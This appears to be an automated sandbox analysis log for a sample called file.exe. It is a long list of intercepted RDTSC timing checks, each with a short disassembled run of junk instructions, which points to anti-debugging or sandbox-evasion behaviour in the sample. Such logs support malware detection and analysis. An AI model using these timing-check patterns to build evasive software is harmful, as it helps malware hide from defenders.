Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A742A second address: 11A7432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75AF second address: 11A75B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A784E second address: 11A7855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7855 second address: 11A7867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Dh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A79BF second address: 11A79F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F2h 0x00000007 jmp 00007F020CB267EBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F020CB267F0h 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A79F6 second address: 11A79FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7C9C second address: 11A7CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7DEC second address: 11A7DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7DF0 second address: 11A7DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7F6C second address: 11A7F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8349 second address: 11A8380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F7h 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F020CB267F0h 0x00000011 popad 0x00000012 jo 00007F020CB26801h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD981 second address: 11AD987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD987 second address: 11AD994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F020CB267E8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD994 second address: 11AD99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD99A second address: 11AD9B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB267EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 ja 00007F020CB267E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD9B8 second address: 11AD9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB1A second address: 11ADB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F020CB267E6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB26 second address: 11ADB37 instructions: 0x00000000 rdtsc 0x00000002 js 00007F020CB28446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB37 second address: 11ADB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267EEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B35B6 second address: 11B35BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B39C4 second address: 11B39C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9FD1 second address: 11B9FE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F020CB28446h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9FE1 second address: 11B9FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9FE9 second address: 11B9FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA3FB second address: 11BA403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA403 second address: 11BA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA409 second address: 11BA411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA5A3 second address: 11BA5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F020CB28446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA737 second address: 11BA744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F020CB267E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA744 second address: 11BA767 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB28446h 0x00000008 jmp 00007F020CB28454h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD783 second address: 11BD789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD789 second address: 11BD795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD8CA second address: 11BD8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD8CF second address: 11BD8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD8D5 second address: 11BD8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD8D9 second address: 11BD8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C458B second address: 11C458F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4B54 second address: 11C4B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4DE5 second address: 11C4DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4DEA second address: 11C4E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28454h 0x00000008 jmp 00007F020CB28454h 0x0000000d jl 00007F020CB28446h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F020CB28457h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E3A second address: 11C4E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267EFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E4F second address: 11C4E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F020CB28450h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E64 second address: 11C4E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E6A second address: 11C4E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA9D8 second address: 11CA9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDAC5 second address: 11CDAE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE9B second address: 11CDEA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE267 second address: 11CE26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D72B2 second address: 11D72B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D72B8 second address: 11D72BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D72BC second address: 11D72C6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D72C6 second address: 11D72D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB2844Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D72D9 second address: 11D72DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D58F6 second address: 11D5905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5905 second address: 11D590F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5FB0 second address: 11D5FE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB28455h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F020CB2844Ch 0x00000011 ja 00007F020CB28446h 0x00000017 pop ebx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F020CB2844Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5FE9 second address: 11D5FEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6A22 second address: 11D6A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6A2D second address: 11D6A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEDD7 second address: 11DEE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F020CB28446h 0x0000000a jmp 00007F020CB2844Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB28457h 0x00000017 js 00007F020CB28446h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE0F second address: 11DEE25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267ECh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE25 second address: 11DEE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE2B second address: 11DEE2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE2F second address: 11DEE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F020CB28455h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 je 00007F020CB28446h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEC61 second address: 11EEC78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F2h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE83B second address: 11EE842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE842 second address: 11EE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F02A9 second address: 11F02B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jnl 00007F020CB28446h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F02B7 second address: 11F02E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F020CB26801h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35D2 second address: 11F35D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35D6 second address: 11F35DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35DC second address: 11F35EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35EB second address: 11F3605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F020CB267F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3605 second address: 11F360B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F360B second address: 11F361A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jg 00007F020CB267E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F361A second address: 11F3633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F020CB28446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD737 second address: 11FD741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD741 second address: 11FD749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201E1E second address: 1201E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F020CB267EFh 0x0000000d jns 00007F020CB267E6h 0x00000013 pop edx 0x00000014 popad 0x00000015 jnc 00007F020CB267FCh 0x0000001b push eax 0x0000001c push edx 0x0000001d jng 00007F020CB267E6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201E4D second address: 1201E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112541F second address: 1125423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201CC0 second address: 1201CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12097B7 second address: 12097BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111649E second address: 11164A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CFC5 second address: 120CFD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CFD5 second address: 120CFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F8D second address: 1223FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnc 00007F020CB267E6h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225725 second address: 1225730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F020CB28446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12331BC second address: 12331C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12331C0 second address: 12331C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12331C9 second address: 12331D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F020CB267E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12331D5 second address: 12331DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12331DA second address: 12331F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267EFh 0x00000009 jl 00007F020CB267E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235F11 second address: 1235F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F16C second address: 124F170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F170 second address: 124F176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F176 second address: 124F18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F020CB267EEh 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F18A second address: 124F1B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28458h 0x00000008 jng 00007F020CB28446h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F1B6 second address: 124F1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F1BA second address: 124F1D6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F020CB2844Eh 0x0000000d jl 00007F020CB28446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F1D6 second address: 124F1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F1DA second address: 124F1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
